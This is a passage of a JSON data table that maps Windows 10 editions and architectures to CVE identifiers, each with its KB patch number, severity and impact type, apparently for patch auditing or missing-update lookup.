Privilege"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 20H2 for 32-bit Systems":[{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004945","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 20H2 for ARM64-based Systems":[{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004945","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 20H2 for x64-based Systems":[{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004945","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"}],"Windows 10 Version 21H1 for 32-bit Systems":[{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"}],"Windows 10 Version 21H1 for ARM64-based Systems":[{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"}],"Windows 10 Version 21H1 for x64-based Systems":[{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"}],"Windows 10 Version 21H2 for 32-bit Systems":[{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5008212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044273","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034122","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029244","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073724","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028166","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032192","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031356","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034763","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041580","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043064","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048652","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044273","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049981","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053606","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053606","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055518","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058379","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060533","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066791","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062554","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062554","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 21H2 for ARM64-based Systems":[{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5008212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044273","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034122","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029244","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073724","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028166","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032189","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031356","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034763","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041580","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043064","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048652","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044273","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049981","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053606","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053606","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055518","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058379","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060533","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066791","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062554","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062554","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 21H2 for x64-based Systems":[{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5008212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044273","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034122","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029244","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073724","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028166","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032189","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031356","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034763","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041580","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043064","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048652","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044273","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049981","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5049981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053606","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053606","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055518","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058379","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060533","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066791","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062554","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062554","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 22H2 for 32-bit Systems":[{"cve":"CVE-2021-34527","kb":"5019959","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044273","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034122","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029244","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073724","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028166","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032189","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031356","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034763","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041580","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043064","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048652","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044273","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049981","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053606","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053606","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055518","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058379","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060533","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066791","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062554","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062554","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 22H2 for ARM64-based Systems":[{"cve":"CVE-2021-34527","kb":"5019959","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044273","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034122","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029244","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073724","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028166","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032189","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031356","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034763","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041580","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043064","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048652","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044273","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049981","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053606","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053606","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055518","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058379","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060533","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066791","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062554","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062554","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 22H2 for x64-based Systems":[{"cve":"CVE-2021-34527","kb":"5019959","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044273","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034122","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029244","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073724","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028166","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032189","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031356","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034763","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041580","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043064","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048652","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044273","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049981","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5049981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053606","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053606","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055518","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058379","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060533","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066791","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062554","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062554","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 for 32-bit Systems":[{"cve":"CVE-2015-2433","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3081444","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3081455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3081455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3081455","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3081455","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3081455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3097617","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3097617","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3097617","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3116869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3116869","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6168","kb":"3116869","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3124266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3124266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3124266","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3124266","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3135174","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3135174","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3140745","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3147461","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3156387","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192440","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7200","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3198585","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012606","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4042895","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4042895","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048956","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053581","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022727","severity":"Important","impact":"Information 